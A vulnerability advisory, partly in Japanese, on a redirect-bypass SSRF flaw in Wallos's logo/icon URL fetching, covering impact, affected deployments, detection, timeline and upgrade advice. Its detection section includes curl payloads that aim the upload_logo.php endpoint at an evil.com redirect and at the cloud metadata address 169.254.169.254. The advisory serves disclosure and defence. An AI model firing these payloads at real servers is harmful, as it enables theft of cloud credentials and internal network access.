Wallos: ロゴ/アイコンURL取得におけるリダイレクトバイパスによるSSRF

このSSRF脆弱性を悪用されると、攻撃者はWallosサーバーから任意の内部リソースにアクセスできる可能性があります。例えば、クラウド環境でWallosがホストされている場合、メタデータエンドポイントから機密情報（APIキー、パスワードなど）を窃取することが考えられます。さらに、内部ネットワークにアクセスすることで、他のシステムへの攻撃の足がかりとして利用されるリスクも存在します。この脆弱性は、類似のSSRF攻撃と同様に、機密情報の漏洩や、ネットワーク全体の侵害につながる可能性があります。

Organizations utilizing Wallos for subscription tracking, particularly those hosting the application on cloud platforms like AWS, Azure, or Google Cloud, are at risk. Shared hosting environments where Wallos is installed alongside other applications could also be vulnerable, as a compromise of one application could potentially lead to exploitation of this SSRF vulnerability.

• php: Examine Wallos application logs for unusual outbound HTTP requests, particularly those involving redirects to internal IP addresses or cloud metadata endpoints.

grep 'redirect' /var/log/apache2/access.log | grep '169.254' 

• generic web: Monitor access logs for requests to the logo upload endpoint with suspicious URL parameters.

curl -I 'http://your-wallos-instance/upload_logo.php?url=http://evil.com/redirect' 

• generic web: Check response headers for signs of internal resource exposure.

curl -I 'http://your-wallos-instance/upload_logo.php?url=http://169.254.169.254/latest/meta-data/'

1. 2026-02-21Disclosure

   disclosure

1. 予約済み2026-02-19
2. 公開日2026-02-21
3. 更新日2026-02-24
4. EPSS 更新日2026-03-23

まず、Wallosをバージョン4.6.1にアップデートすることが最も効果的な対策です。アップデートが直ちに困難な場合は、WAF（Web Application Firewall）を導入し、外部からのリクエストにおけるHTTPリダイレクトをブロックするルールを設定することを検討してください。また、Wallosがホストされている環境のネットワークセグメンテーションを強化し、内部リソースへのアクセスを制限することも有効です。アップデート後、ログを監視し、不審なリクエストがないか確認することで、脆弱性の悪用を早期に検知できます。